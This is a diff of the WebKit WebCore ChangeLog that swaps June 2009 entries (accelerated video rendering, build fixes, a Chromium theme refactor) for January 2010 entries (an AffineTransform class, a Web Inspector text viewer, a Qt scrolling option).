-        (WebCore::FEOffset::apply):
-
-2009-06-18  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=26499
-        
-        Support hardware-accelerationed rendering of video elements.
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::mediaPlayerSawUnsupportedTracks):
-        (WebCore::HTMLMediaElement::mediaPlayerRepaint):
-        Just move these methods to group the render-related methods together.
-        
-        (WebCore::HTMLMediaElement::mediaPlayerRenderingCanBeAccelerated):
-        Call out method to ask the RenderLayerCompositor if presentation of this video
-        can be acclerated. It might say no, if, for example, the video has a reflection.
-        
-        (WebCore::HTMLMediaElement::mediaPlayerGraphicsLayer):
-        Fetch the GraphicsLayer from the RenderVideo that will host the movie layer.
-        
-        * html/HTMLMediaElement.h:
-        Reordered the rendering-related methods, and added two methods related to video
-        acceleration.
-        
-        * platform/graphics/MediaPlayer.cpp:
-        (WebCore::MediaPlayer::acceleratedRenderingStateChanged):
-        Called by the rendering system when it determines that the video must go into, or
-        fall off of the hardware-accelerated path.
-        
-        (WebCore::MediaPlayer::supportsAcceleratedRendering):
-        Method to say whether the media engine supports accelerated rendering.
-        
-        * platform/graphics/MediaPlayer.h:
-        (WebCore::MediaPlayerClient::mediaPlayerRepaint):
-        (WebCore::MediaPlayerClient::mediaPlayerSizeChanged):
-        Moved.
-        
-        (WebCore::MediaPlayerClient::mediaPlayerRenderingCanBeAccelerated):
-        (WebCore::MediaPlayerClient::mediaPlayerGraphicsLayer):
-        New methods to ask the client if the rendering system can support accelerated
-        rendering, and to get a GraphicsLayer to plug the movie layer into.
-        
-        * platform/graphics/MediaPlayerPrivate.h:
-        (WebCore::MediaPlayerPrivateInterface::supportsAcceleratedRendering):
-        (WebCore::MediaPlayerPrivateInterface::acceleratedRenderingStateChanged):
-        Forwarding methods from MediaPlayer.
-        
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
-        Some new methods related to using a QTMovieLayer, and to simplify the rendering mode logic.
-
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::createQTMovieLayer):
-        (WebCore::MediaPlayerPrivate::destroyQTMovieLayer):
-        Methods to create and destroy the QTMovieLayer.
-        
-        (WebCore::MediaPlayerPrivate::currentRenderingMode):
-        (WebCore::MediaPlayerPrivate::preferredRenderingMode):
-        Methods to clarify the code that decides which of the 3 rendering modes to use.
-        
-        (WebCore::MediaPlayerPrivate::setUpVideoRendering):
-        Changed to use the new rendering mode methods.
-        
-        (WebCore::MediaPlayerPrivate::tearDownVideoRendering):
-        Destroy the layer if we have one.
-        
-        (WebCore::MediaPlayerPrivate::hasSetUpVideoRendering):
-        Small utility method.
-        
-        (WebCore::MediaPlayerPrivate::updateStates):
-        Move the call to setUpVideoRendering() to before we send out the state notifications,
-        so that we will have created the rendering objects already.
-        
-        (WebCore::MediaPlayerPrivate::supportsAcceleratedRendering):
-        Return true if we have QTMovieLayer.
-        
-        (WebCore::MediaPlayerPrivate::acceleratedRenderingStateChanged):
-        We've been told that we went into or out of accelerated mode; maybe reset
-        the renderer, and set the layer if we have to.
-        
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::rendererContentChanged):
-        We may need to udpate compositing layers if the video went into accelerated mode.
-        
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::canUseDirectCompositing):
-        Add smarts to deal with video, which allows us to avoid extra backing store.
-        
-        (WebCore::RenderLayerBacking::contentsBox):
-        Use the videoBox to use the content layer for video layers.
-        
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::updateLayerCompositingState):
-        Poke the RenderVideo if the state changed.
-        
-        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
-        Handle an edge case when the video element itself is a stacking context
-        because of opacity or transform.
-        
-        (WebCore::RenderLayerCompositor::canAccelerateVideoRendering):
-        (WebCore::RenderLayerCompositor::requiresCompositingLayer):
-        (WebCore::RenderLayerCompositor::requiresCompositingForVideo):
-        Allow video to throw us into compositing mode if the media engine supports it.
-        
-        * rendering/RenderLayerCompositor.h:
-        New methods related to video.
-        
-        * rendering/RenderVideo.h:
-        * rendering/RenderVideo.cpp:
-        (WebCore::RenderVideo::updatePlayer):
-        Call rendererContentChanged() to give the compositor a change to throw the video into
-        compositing mode.
-        
-        (WebCore::RenderVideo::supportsAcceleratedRendering):
-        (WebCore::RenderVideo::acceleratedRenderingStateChanged):
-        (WebCore::RenderVideo::videoGraphicsLayer):
-        Methods to allow the MediaPlayer to do rendering-related stuff via the media element.
-
-2009-06-18  Rob Buis  <rwlbuis@gmail.com>
-
-        Reviewed by Niko.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26385
-        Root SVG element is not checked on requiredFeatures, requiredExtension like other elements
-
-        Also do the isValid check for outer <svg>.
-
-        Test: svg/custom/outer-svg-unknown-feature.svg
-
-        * svg/SVGDocument.cpp:
-        (WebCore::SVGDocument::childShouldCreateRenderer):
-        * svg/SVGDocument.h:
-
-2009-06-18  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Darin Adler.
-
-        - fix <rdar://problem/6913221> REGRESSION (Safari 3-4): Search field on
-          apple.com cuts entered text
-
-        Test: fast/forms/search-vertical-alignment.html
-
-        * rendering/RenderTextControlSingleLine.cpp:
-        (WebCore::RenderTextControlSingleLine::layout): Vertically center the
-            the search field's inner block.
-
-2009-06-18  Janne Koskinen  <janne.p.koskinen@digia.com>
-
-        Reviewed by Simon Hausmann.
-
-        Fix compilation with Symbian WINSCW compiler, which produced
-        multiple definitions of the CSSPrimitiveValue conversion operators.
-
-        It turns out that they are defined inline but not declared inline.
-
-        Adding the inline keyword to the declaration fixes the build.
-
-        * css/CSSPrimitiveValue.h:
-
-2009-06-18  Markus Goetz <Markus.Goetz@nokia.com>
-
-        Reviewed by Simon Hausman.
-
-        Clarify in docs how to compile with debug information.
-
-        * WebCore.pro:
-
-2009-06-18  Jakub Wieczorek  <faw217@gmail.com>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] When writing an URL to the clipboard, save the corresponding title
-        in the mime data as well.
-
-        * platform/qt/ClipboardQt.cpp:
-        (WebCore::ClipboardQt::writeURL):
-
-2009-06-18  Jakub Wieczorek  <faw217@gmail.com>
-
-        [Qt] Fix build. Add HTMLDataGridElement.
-
-        * WebCore.pro:
-
-2009-06-18  Jan Michael Alonzo  <jmalonzo@webkit.org>
-
-        Gtk build fix.
-
-        Add HTMLDataGridElement header and IDL to the build script.
-
-        * GNUmakefile.am:
-
-2009-06-18  Chris Evans  <scarybeasts@gmail.com>
-
-        Reviewed by Adam Barth.
-
-        Fix 8-digit long hex entities. Fixes bug 26454
-        https://bugs.webkit.org/show_bug.cgi?id=26454
-
-        Test: fast/parser/eightdigithexentity.html
-
-        * html/HTMLTokenizer.cpp: fix off-by-ones.
-
-2009-06-18  David Levin  <levin@chromium.org>
-
-        Fix chromium linux build.
-
-        Fixes a mistake that happened during the complicated merge for
-        landing r44775, r44776, r44777.
-
-        * rendering/RenderThemeChromiumLinux.cpp:
-        (WebCore::RenderThemeChromiumLinux::create):
-
-2009-06-17  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Darin Adler.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=26499
-        
-        First step to making video rendering be hardware-accelerated:
-        make <video> elements get self-painting RenderLayers, and add
-        an isVideo() virtual method to RenderObject.
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::setReadyState):
-        (WebCore::HTMLMediaElement::mediaPlayerDurationChanged):
-        (WebCore::HTMLMediaElement::mediaPlayerSizeChanged):
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::shouldBeNormalFlowOnly):
-        (WebCore::RenderLayer::isSelfPaintingLayer):
-        * rendering/RenderObject.h:
-        (WebCore::RenderObject::isVideo):
-        * rendering/RenderVideo.h:
-        (WebCore::RenderVideo::requiresLayer):
-        (WebCore::RenderVideo::isVideo):
-
-2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
-
-        Reviewed by Adam Roben.
-
-        Refactor a few common routines in the various Windows ports
-        and reduce some duplicated code.
-
-        (1) Create TransformationMatrix XFORM casting operator, and
-            switch various XFORM structure uses to utilize it.
-        (2) Push concatCTM call to GraphicsContextWin now that the
-            TransformationMatrix can directly create XFORM (rather
-            than converting to CGAffineTransform/cairo_matrix_t first.)
-
-        * WebCore.vcproj/WebCore.vcproj: Add new BitmapInfo structure.
-        * platform/graphics/transforms/TransformationMatrix.h:
-        * platform/graphics/win/GraphicsContextCGWin.cpp:
-        * platform/graphics/win/GraphicsContextCairoWin.cpp:
-        * platform/graphics/win/GraphicsContextWin.cpp:
-        (WebCore::GraphicsContextPlatformPrivate::scale):
-        (WebCore::GraphicsContextPlatformPrivate::rotate):
-        (WebCore::GraphicsContextPlatformPrivate::translate):
         (WebCore::GraphicsContextPlatformPrivate::concatCTM):
-        * platform/graphics/win/TransformationMatrixWin.cpp: Added.
-        (WebCore::TransformationMatrix::operator XFORM): New operator
-
-2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
-
-        Non-CG Windows build fix after @r44758.
-
-        * rendering/RenderThemeWin.cpp:
-        (WebCore::RenderTheme::themeForPage):
-
-2009-06-17  Brent Fulgham  <bfulgham@webkit.org>
-
-        Reviewed by Adam Roben.
-
-        Refactor a few common routines in the various Windows ports
-        and reduce some duplicated code.
-        https://bugs.webkit.org/show_bug.cgi?id=26425.
-
-        Refactor use of BITMAPINFO for the new BitmapInfo structure.
-
-        * WebCore.vcproj/WebCore.vcproj:
-        * platform/win/BitmapInfo.cpp: Added.
-        (WebCore::bitmapInfoForSize):
-        (WebCore::BitmapInfo::create):
-        (WebCore::BitmapInfo::createBottomUp):
-        * platform/win/BitmapInfo.h: Added.
-        * platform/graphics/win/GraphicsContextCairoWin.cpp:
-        * platform/graphics/win/GraphicsContextCGWin.cpp:
-        * platform/graphics/win/TransformationMatrixWin.cpp: Added.
-        (WebCore::TransformationMatrix::operator XFORM): New operator
-        * platform/win/DragImageCGWin.cpp:
-        (WebCore::allocImage):
-        * platform/win/DragImageCairoWin.cpp:
-        (WebCore::allocImage):
-        * platform/win/PasteboardWin.cpp:
-        (WebCore::Pasteboard::writeImage):
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::paint):
-
-2009-06-17  Adam Roben  <aroben@apple.com>
-
-        Remove unnecessary 6th parameter from SOFT_LINK_OPTIONAL
-
-        Reviewed by Mark Rowe.
-
-        * platform/graphics/win/ColorSafari.cpp: Removed the 6th parameter and
-        an unnecessary parameter name.
-        * platform/win/SoftLinking.h: Removed the unused 6th parameter.
-
-2009-06-17  Adam Roben  <aroben@apple.com>
-
-        Make Settings::shouldPaintNativeControls default to true
-
-        This matches the default up in WebKit (that was changed in r43318).
-
-        Fixes Bug 26493: REGRESSION (r44758): First tab always uses Mac-style
-        form controls
-        <https://bugs.webkit.org/show_bug.cgi?id=26493>
-
-        Reviewed by Darin Adler and Dave Hyatt.
-
-        No test possible since DRT always uses Mac-style form controls.
-
-        * page/Settings.cpp: Changed the initial value of
-        gShouldPaintNativeControls to true.
-
-        * rendering/RenderThemeSafari.cpp:
-        (WebCore::RenderTheme::themeForPage): Added a FIXME about the design
-        flaw here involving querying Settings before it's been initialized.
-
-2009-06-17  David Levin  <levin@chromium.org>
-
-        Fix chromium windows build.
-
-        A mistake that happened during the complicated merge for
-        landing r44775, r44776, r44777.
-
-        * rendering/RenderThemeChromiumWin.h:
-        (WebCore::RenderThemeChromiumWin::RenderThemeChromiumWin):
-        (WebCore::RenderThemeChromiumWin::~RenderThemeChromiumWin):
+        * platform/graphics/cg/PathCG.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/cg/TransformationMatrixCG.cpp:
+        (WebCore::AffineTransform::operator CGAffineTransform):
+        * platform/graphics/haiku/GraphicsContextHaiku.cpp:
+        (WebCore::GraphicsContext::getAffineCTM):
+        (WebCore::GraphicsContext::concatCTM):
+        * platform/graphics/haiku/PathHaiku.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::getAffineCTM):
+        (WebCore::GraphicsContext::concatCTM):
+        * platform/graphics/qt/PathQt.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/qt/TransformationMatrixQt.cpp:
+        (WebCore::AffineTransform::operator QTransform):
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::getAffineCTM):
+        * platform/graphics/skia/PathSkia.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/skia/TransformationMatrixSkia.cpp:
+        (WebCore::AffineTransform::operator SkMatrix):
+        * platform/graphics/transforms/AffineTransform.cpp: Added.
+        (WebCore::affineTransformDecompose):
+        (WebCore::affineTransformCompose):
+        (WebCore::AffineTransform::AffineTransform):
+        (WebCore::AffineTransform::reset):
+        (WebCore::AffineTransform::setMatrix):
+        (WebCore::AffineTransform::isIdentity):
+        (WebCore::AffineTransform::det):
+        (WebCore::AffineTransform::isInvertible):
+        (WebCore::AffineTransform::inverse):
+        (WebCore::AffineTransform::multiply):
+        (WebCore::AffineTransform::multLeft):
+        (WebCore::AffineTransform::rotate):
+        (WebCore::AffineTransform::scale):
+        (WebCore::AffineTransform::translate):
+        (WebCore::AffineTransform::scaleNonUniform):
+        (WebCore::AffineTransform::rotateFromVector):
+        (WebCore::AffineTransform::flipX):
+        (WebCore::AffineTransform::flipY):
+        (WebCore::AffineTransform::shear):
+        (WebCore::AffineTransform::skew):
+        (WebCore::AffineTransform::skewX):
+        (WebCore::AffineTransform::skewY):
+        (WebCore::makeMapBetweenRects):
+        (WebCore::AffineTransform::map):
+        (WebCore::AffineTransform::mapPoint):
+        (WebCore::AffineTransform::mapRect):
+        (WebCore::AffineTransform::blend):
+        * platform/graphics/transforms/AffineTransform.h: Added.
+        (WebCore::AffineTransform::a):
+        (WebCore::AffineTransform::setA):
+        (WebCore::AffineTransform::b):
+        (WebCore::AffineTransform::setB):
+        (WebCore::AffineTransform::c):
+        (WebCore::AffineTransform::setC):
+        (WebCore::AffineTransform::d):
+        (WebCore::AffineTransform::setD):
+        (WebCore::AffineTransform::e):
+        (WebCore::AffineTransform::setE):
+        (WebCore::AffineTransform::f):
+        (WebCore::AffineTransform::setF):
+        (WebCore::AffineTransform::operator== ):
+        (WebCore::AffineTransform::operator!=):
+        (WebCore::AffineTransform::operator*=):
+        (WebCore::AffineTransform::operator*):
+        (WebCore::AffineTransform::setMatrix):
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContext::concatCTM):
+        (WebCore::GraphicsContext::getAffineCTM):
+        * platform/graphics/wx/GraphicsContextWx.cpp:
+        (WebCore::GraphicsContext::getAffineCTM):
+        (WebCore::GraphicsContext::concatCTM):
+        * platform/graphics/wx/PathWx.cpp:
+        (WebCore::Path::transform):
+        * platform/graphics/wx/TransformationMatrixWx.cpp:
+        (WebCore::AffineTransform::operator wxGraphicsMatrix):
 
-2009-06-17  Eric Carlson  <eric.carlson@apple.com>
+2010-01-31  Pavel Feldman  <pfeldman@chromium.org>
 
-        Reviewed by Simon Fraser.
+        Reviewed by Timothy Hatcher.
 
-        <rdar://problem/6981193> Crash in MediaControlInputElement::attachToParent
+        Web Inspector: [REGRESSION] Breakpoint source line is not displayed
+        in the breakpoint manager.
 
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaTextDisplayElement::attachToParent): NULL check element renderer or parent renderer.
-        (WebCore::MediaControlInputElement::attachToParent): Ditto.
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._addBreakpointToSource):
 
-2009-06-17  David Hyatt  <hyatt@apple.com>
+2010-01-31  Pavel Feldman  <pfeldman@chromium.org>
 
-        Fix Windows build.  There's no HTMLDataGridElement.cpp file yet.
+        Reviewed by Timothy Hatcher.
 
-        * html/HTMLElementsAllInOne.cpp:
+        Web Inspector: Introduce NativeTextViewer.
 
-2009-06-17  David Hyatt  <hyatt@apple.com>
+        This change handles rendering highlighted text, using browser's
+        selection/drag/drop/click logic. Breakpoint decorations and
+        program counter is working.
 
-        Reviewed by Adam Roben and Anders Carlsson.
+        Todo: line numbers are painted 'under' the text when scrolling
+        horizontally, search is not yet implemented.
 
-        Stub out the HTMLDataGridElement.
+        https://bugs.webkit.org/show_bug.cgi?id=34391
 
-        * DerivedSources.make:
+        * WebCore.gypi:
         * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::adjustRenderStyle):
-        * editing/htmlediting.cpp:
-        (WebCore::canHaveChildrenForEditing):
-        * html/HTMLDataGridElement.h: Added.
-        (WebCore::HTMLDataGridElement::HTMLDataGridElement):
-        (WebCore::HTMLDataGridElement::tagPriority):
-        * html/HTMLDataGridElement.idl: Added.
-        * html/HTMLElement.cpp:
-        (WebCore::inlineTagList):
-        * html/HTMLParser.cpp:
-        (WebCore::HTMLParser::isAffectedByResidualStyle):
-        * html/HTMLTagNames.in:
-
-2009-06-17  David Levin  <levin@chromium.org>
-
-        Reviewed by NOBODY (chromium build fix).
-
-        Fix typo in previous changes.
-
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::defaultGUIFont):
-
-2009-06-17  Albert J. Wong  <ajwong@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26148
-        Remove common code from RenderThemeChromiumWin that is shared with
-        RenderThemeChromiumSkia.
-
-        Also move supportsControlTints to RenderThemeChromiumLinux since it
-        is linux specific.
-
-        There are no tests changed because this just removes functions with
-        duplicate implementations between the base and derived classes.
-
-        * rendering/RenderThemeChromiumLinux.cpp:
-        (WebCore::RenderThemeChromiumLinux::supportsControlTints):
-        * rendering/RenderThemeChromiumLinux.h:
-        * rendering/RenderThemeChromiumSkia.cpp:
-        * rendering/RenderThemeChromiumSkia.h:
-        * rendering/RenderThemeChromiumWin.cpp:
-        (WebCore::):
-        (WebCore::getNonClientMetrics):
-        (WebCore::RenderThemeChromiumWin::RenderThemeChromiumWin):
-        (WebCore::RenderThemeChromiumWin::~RenderThemeChromiumWin):
-        (WebCore::RenderThemeChromiumWin::systemFont):
-        (WebCore::RenderThemeChromiumWin::paintCheckbox):
-        (WebCore::RenderThemeChromiumWin::paintRadio):
-        (WebCore::RenderThemeChromiumWin::paintSliderThumb):
-        (WebCore::RenderThemeChromiumWin::caretBlinkIntervalInternal):
-        * rendering/RenderThemeChromiumWin.h:
-
-2009-06-17  Albert J. Wong  <ajwong@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26148
-        Move RenderThemeChromiumSkia into its own file.  This is purely a code move.
-
-        * rendering/RenderThemeChromiumLinux.cpp:
-        * rendering/RenderThemeChromiumLinux.h:
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::):
-        (WebCore::setSizeIfAuto):
-        (WebCore::mediaElementParent):
-        (WebCore::RenderThemeChromiumSkia::defaultGUIFont):
-        (WebCore::RenderThemeChromiumSkia::RenderThemeChromiumSkia):
-        (WebCore::RenderThemeChromiumSkia::~RenderThemeChromiumSkia):
-        (WebCore::RenderThemeChromiumSkia::extraDefaultStyleSheet):
-        (WebCore::RenderThemeChromiumSkia::extraQuirksStyleSheet):
-        (WebCore::RenderThemeChromiumSkia::extraMediaControlsStyleSheet):
-        (WebCore::RenderThemeChromiumSkia::supportsHover):
-        (WebCore::RenderThemeChromiumSkia::supportsFocusRing):
-        (WebCore::RenderThemeChromiumSkia::platformActiveSelectionBackgroundColor):
-        (WebCore::RenderThemeChromiumSkia::platformInactiveSelectionBackgroundColor):
-        (WebCore::RenderThemeChromiumSkia::platformActiveSelectionForegroundColor):
-        (WebCore::RenderThemeChromiumSkia::platformInactiveSelectionForegroundColor):
-        (WebCore::RenderThemeChromiumSkia::platformTextSearchHighlightColor):
-        (WebCore::RenderThemeChromiumSkia::caretBlinkInterval):
-        (WebCore::RenderThemeChromiumSkia::systemFont):
-        (WebCore::RenderThemeChromiumSkia::minimumMenuListSize):
-        (WebCore::RenderThemeChromiumSkia::paintCheckbox):
-        (WebCore::RenderThemeChromiumSkia::setCheckboxSize):
-        (WebCore::RenderThemeChromiumSkia::paintRadio):
-        (WebCore::RenderThemeChromiumSkia::setRadioSize):
-        (WebCore::brightenColor):
-        (WebCore::paintButtonLike):
-        (WebCore::RenderThemeChromiumSkia::paintButton):
-        (WebCore::RenderThemeChromiumSkia::paintTextField):
-        (WebCore::RenderThemeChromiumSkia::paintTextArea):
-        (WebCore::RenderThemeChromiumSkia::paintSearchField):
-        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldCancelButtonStyle):
-        (WebCore::RenderThemeChromiumSkia::paintSearchFieldCancelButton):
-        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldDecorationStyle):
-        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldResultsDecorationStyle):
-        (WebCore::RenderThemeChromiumSkia::paintSearchFieldResultsDecoration):
-        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldResultsButtonStyle):
-        (WebCore::RenderThemeChromiumSkia::paintSearchFieldResultsButton):
-        (WebCore::RenderThemeChromiumSkia::paintMediaButtonInternal):
-        (WebCore::RenderThemeChromiumSkia::paintMediaPlayButton):
-        (WebCore::RenderThemeChromiumSkia::paintMediaMuteButton):
-        (WebCore::RenderThemeChromiumSkia::adjustMenuListStyle):
-        (WebCore::RenderThemeChromiumSkia::paintMenuList):
-        (WebCore::RenderThemeChromiumSkia::adjustMenuListButtonStyle):
-        (WebCore::RenderThemeChromiumSkia::paintMenuListButton):
-        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingLeft):
-        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingRight):
-        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingTop):
-        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingBottom):
-        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingLeft):
-        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingRight):
-        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingTop):
-        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingBottom):
-        (WebCore::RenderThemeChromiumSkia::caretBlinkIntervalInternal):
-        (WebCore::RenderThemeChromiumSkia::menuListInternalPadding):
-        * rendering/RenderThemeChromiumSkia.h:
-        (WebCore::RenderThemeChromiumSkia::supportsControlTints):
+        * inspector/front-end/DivBasedTextViewer.js: Added.
+        (WebInspector.DivBasedTextViewer):
+        (WebInspector.DivBasedTextViewer.prototype._textChanged):
+        (WebInspector.DivBasedTextViewer.prototype._createLineDivs):
+        (WebInspector.DivBasedTextViewer.prototype._updatePreferredSize):
+        (WebInspector.DivBasedTextViewer.prototype._scroll):
+        (WebInspector.DivBasedTextViewer.prototype._registerMouseListeners):
+        (WebInspector.DivBasedTextViewer.prototype._registerKeyboardListeners):
+        (WebInspector.DivBasedTextViewer.prototype._registerClipboardListeners):
+        (WebInspector.DivBasedTextViewer.prototype._paintSelection):
+        (WebInspector.DivBasedTextViewer.prototype._positionDivDecoration):
+        (WebInspector.DivBasedTextViewer.prototype._mouseDown):
+        (WebInspector.DivBasedTextViewer.prototype._contextMenu):
+        (WebInspector.DivBasedTextViewer.prototype._caretForMouseEvent):
+        (WebInspector.DivBasedTextViewer.prototype._paintLine):
+        (WebInspector.DivBasedTextViewer.prototype._createSpan):
+        * inspector/front-end/Settings.js:
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype.clearMessages):
+        (WebInspector.SourceFrame.prototype.sizeToFitContentHeight):
+        (WebInspector.SourceFrame.prototype._createEditorIfNeeded):
+        (WebInspector.SourceFrame.prototype._addMessageToSource):
+        (WebInspector.SourceFrame.prototype.resize):
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor):
+        (WebInspector.TextEditor.prototype.setDivDecoration):
+        (WebInspector.TextEditor.prototype._registerMouseListeners):
+        (WebInspector.TextEditor.prototype._registerKeyboardListeners):
+        (WebInspector.TextEditor.prototype._registerClipboardListeners):
+        (WebInspector.TextEditor.prototype.reveal):
+        (WebInspector.TextEditor.prototype._textChanged):
+        (WebInspector.TextEditor.prototype.revalidateDecorationsAndPaint):
+        (WebInspector.TextEditor.prototype._updatePreferredSize):
+        (WebInspector.TextEditor.prototype.resize):
+        (WebInspector.TextEditor.prototype._paintLinesContinuation):
+        (WebInspector.TextEditor.prototype._paintLine):
+        (WebInspector.TextEditor.prototype._contextMenu):
+        (WebInspector.TextEditor.prototype._caretForMouseEvent):
+        (WebInspector.TextEditor.prototype._changeFont):
+        * inspector/front-end/TextEditorHighlighter.js:
+        (WebInspector.TextEditorHighlighter.prototype._lex):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/textEditor.css:
 
-2009-06-17  Albert J. Wong  <ajwong@chromium.org>
+2010-01-31  Benjamin Poulain  <benjamin.poulain@nokia.com>
 
         Reviewed by Eric Seidel.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26148
-        Extract RenderThemeChromiumSkia out of RenderThemeChromiumLinux.  This
-        is mostly a code shuffle.  The non-suffle changes are:
-           1) Creation of a caretBlinkIntervalInternal.
-           2) Moving of some inline functions into the implementation files.
-           3) Changing of defaultGUIFont into a static class constant from a
-              static function.  Also the type is changed to String.
-           4) Changing of defaultFontSize into a static class constant from a
-              static variable in the file scope.
-           5) The static supportsFocus function was collapsed into
-              supportsFocusRing.
-           6) Split the extraDefaultStyleSheet into Skia and Linux versions.
-
-        * rendering/RenderThemeChromiumLinux.cpp:
-        (WebCore::RenderThemeChromiumSkia::defaultGUIFont):
-        (WebCore::RenderThemeChromiumSkia::RenderThemeChromiumSkia):
-        (WebCore::RenderThemeChromiumSkia::~RenderThemeChromiumSkia):
-        (WebCore::RenderThemeChromiumSkia::extraDefaultStyleSheet):
-        (WebCore::RenderThemeChromiumSkia::extraQuirksStyleSheet):
-        (WebCore::RenderThemeChromiumSkia::extraMediaControlsStyleSheet):
-        (WebCore::RenderThemeChromiumSkia::supportsHover):
-        (WebCore::RenderThemeChromiumSkia::supportsFocusRing):
-        (WebCore::RenderThemeChromiumSkia::platformActiveSelectionBackgroundColor):
-        (WebCore::RenderThemeChromiumSkia::platformInactiveSelectionBackgroundColor):
-        (WebCore::RenderThemeChromiumSkia::platformActiveSelectionForegroundColor):
-        (WebCore::RenderThemeChromiumSkia::platformInactiveSelectionForegroundColor):
-        (WebCore::RenderThemeChromiumSkia::platformTextSearchHighlightColor):
-        (WebCore::RenderThemeChromiumSkia::caretBlinkInterval):
-        (WebCore::RenderThemeChromiumSkia::systemFont):
-        (WebCore::RenderThemeChromiumSkia::minimumMenuListSize):
-        (WebCore::RenderThemeChromiumSkia::paintCheckbox):
-        (WebCore::RenderThemeChromiumSkia::setCheckboxSize):
-        (WebCore::RenderThemeChromiumSkia::paintRadio):
-        (WebCore::RenderThemeChromiumSkia::setRadioSize):
-        (WebCore::RenderThemeChromiumSkia::paintButton):
-        (WebCore::RenderThemeChromiumSkia::paintTextField):
-        (WebCore::RenderThemeChromiumSkia::paintTextArea):
-        (WebCore::RenderThemeChromiumSkia::paintSearchField):
-        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldCancelButtonStyle):
-        (WebCore::RenderThemeChromiumSkia::paintSearchFieldCancelButton):
-        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldDecorationStyle):
-        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldResultsDecorationStyle):
-        (WebCore::RenderThemeChromiumSkia::paintSearchFieldResultsDecoration):
-        (WebCore::RenderThemeChromiumSkia::adjustSearchFieldResultsButtonStyle):
-        (WebCore::RenderThemeChromiumSkia::paintSearchFieldResultsButton):
-        (WebCore::RenderThemeChromiumSkia::paintMediaButtonInternal):
-        (WebCore::RenderThemeChromiumSkia::paintMediaPlayButton):
-        (WebCore::RenderThemeChromiumSkia::paintMediaMuteButton):
-        (WebCore::RenderThemeChromiumSkia::adjustMenuListStyle):
-        (WebCore::RenderThemeChromiumSkia::paintMenuList):
-        (WebCore::RenderThemeChromiumSkia::adjustMenuListButtonStyle):
-        (WebCore::RenderThemeChromiumSkia::paintMenuListButton):
-        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingLeft):
-        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingRight):
-        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingTop):
-        (WebCore::RenderThemeChromiumSkia::popupInternalPaddingBottom):
-        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingLeft):
-        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingRight):
-        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingTop):
-        (WebCore::RenderThemeChromiumSkia::buttonInternalPaddingBottom):
-        (WebCore::RenderThemeChromiumSkia::caretBlinkIntervalInternal):
-        (WebCore::RenderThemeChromiumLinux::RenderThemeChromiumLinux):
-        (WebCore::RenderThemeChromiumLinux::~RenderThemeChromiumLinux):
-        (WebCore::RenderThemeChromiumLinux::systemColor):
-        (WebCore::RenderThemeChromiumLinux::extraDefaultStyleSheet):
-        (WebCore::RenderThemeChromiumSkia::menuListInternalPadding):
-        * rendering/RenderThemeChromiumLinux.h:
-
-2009-06-17  Adam Roben  <aroben@apple.com>
+        [Qt] Enable FAST_MOBILE_SCROLLING on Qt embedded platforms
